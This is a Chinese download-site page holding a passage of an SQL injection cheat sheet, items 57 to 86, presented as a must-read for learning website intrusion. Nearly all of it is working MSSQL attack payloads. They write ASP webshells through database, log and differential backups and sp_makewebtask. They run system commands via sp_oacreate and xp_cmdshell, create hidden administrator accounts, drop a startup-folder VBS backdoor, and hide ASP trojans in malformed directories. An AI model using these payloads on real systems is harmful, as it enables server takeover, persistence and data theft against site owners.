⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 多事之秋整理的sql注入语句 (2) .txt

📁 常用网站入侵方法总结。详细而且使用.学习入侵必看
💻 TXT
字号:
 tkey'  删除键,包括该键下所有值 
57、mssql的backup创建webshell 
use model 
create table cmd(str image); 
insert into cmd(str) values ('<% Dim oScript %>'); 
backup database model to disk='c:\l.asp';
58、简洁的webshell
use model 
create table cmd(str image); 
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); 
backup database model to disk='g:\wwwtest\l.asp';

请求的时候,像这样子用: 
http://ip/l.asp?c=dir 
59、利用其它存储过程执行命令
; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user cntest chinatest /add';--
60、利用内置存储过程 xp_regread(读取注册表键值,权限public): 
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test);--

利用爆字段将数据库的值读出来
and 0<>(select top 1 paths from newtable)
61、利用FSO直接写入ASP木马(提示必须拥用SYSADMIN权限才可使用FSO和FSO开启的前提下)(作用:E:\WWW下创建一个test.asp并写入On Error Resume next语句)
;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:\www\test.asp',
1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next';--
62、猜字段中记录长度
and (select top 1 len(字段名) from 数据库名)>0
63、(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
    (2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
64、检索系统用户
Select * from sysxlogins
65、SQL7中的建表命令
create table [dbo].[temp] ([id] [nvarchar](255) ,[num1] [nvarchar](255) ,[num2] [nvarchar](255) ,[num3] [nvarchar](255))
66、检索数据库的命令
select * from [dbo].[temp]
67、差异备份
(1)declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335323635 backup database @a to disk=@s
(2)Drop table [heige];create table [dbo].[heige] ([cmd] [image])
(3)insert into heige(cmd) values(0x3C25657865637574652872657175657374282276616C7565222929253E)  //values('<%execute(request("value"))%>')  
(4)declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C6B79736A7A7765625C6B79736A7A7765625C72692E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT   //@s='d:\kysjzweb\kysjzweb\ri.asp'
(5)Drop table [heige]            
68、如何删除 cmdshell 存储过程
您必须有系统管理员用户权除去 cmdshell 存储过程。 要删除存储过程, 
在命令提示符处键入以下命令: 
exec sp_dropextendedproc 'xp_cmdshell'
要重新添加 cmdshell 存储过程, 在命令提示符处键入以下命令: 
exec sp_addextendedproc 'xp_cmdshell','xplog70.dll'
69、添加SQL帐户并加入管理组
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin
70、查看WEB网站安装目录命令:
cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试)
type c:\test1.txt
del c:\test1.txt
71、查找某个文件
c:\>dir 文件名 /s  查找c盘下的此文件
72、建立/删除虚拟目录
建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' 
让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accesxxxecute "true" –s:' 
删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
73、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"         2000系统
或者cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"   2003系统
查看是否成功:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
74、如何隐藏ASP木马:
建立非标准目录:mkdir images..\
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web访问ASP木马:http://ip/images../news.asp?action=login
如何删除非标准目录:rmdir images..\ /s
75、sql2005开启xp_cmdshell
MSSQL SERVER 2005默认把xpcmdshell 给ON了
如果要启用的话就必须把他加到高级用户模式
可以直接在注入点那里直接注入
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
或者
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
来恢复cmdshell。

分析器
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
76、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
drop TABLE MYTMP
77、xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell' 
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
78、sp_makewebtask的用法
EXECUTE sp_makewebtask @outputfile='C:\WEB\yfdmm.asp',
@query='SELECT 你的字段 FROM 你建的临时表'
79、用存储过程写文件
写vbs文件到启动组里面:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 
'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', null,
'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', null,
'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', null,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'
80、tftp下载的命令
tftp -i ip get 下载文件名 保存文件名  说明:ip是提供下载的服务器IP
81、显示注册表中的一个子键下的所有键值
exec xp_regenumvalues  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\run'
82、用其它存储过程写文件
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c echo 12345678>c:\123.txt' 在c盘上写123.txt,内容是:12345678
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c tasklist>c:\123.txt'     列进程写进123.txt windowsxp/2003系统

83、将文本文件导入表
create table foo(line varchar(8000))
bulk insert foo from 'c:\123.txt'

84、log备份
alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = 'c:\Sammy' with init
insert into cmd (a) values ('<%Execute(request("value"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'

85、sp_makewebtask直接写一句话
;exec sp_makewebtask @outputfile='D:\Homepage\sohostudio\img\23456.asp',@query='select ''<%25execute (request("value"))%25>'' '

86、读WEB位置
;create table [dbo].[cxd] ([cxd][char](255));--
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -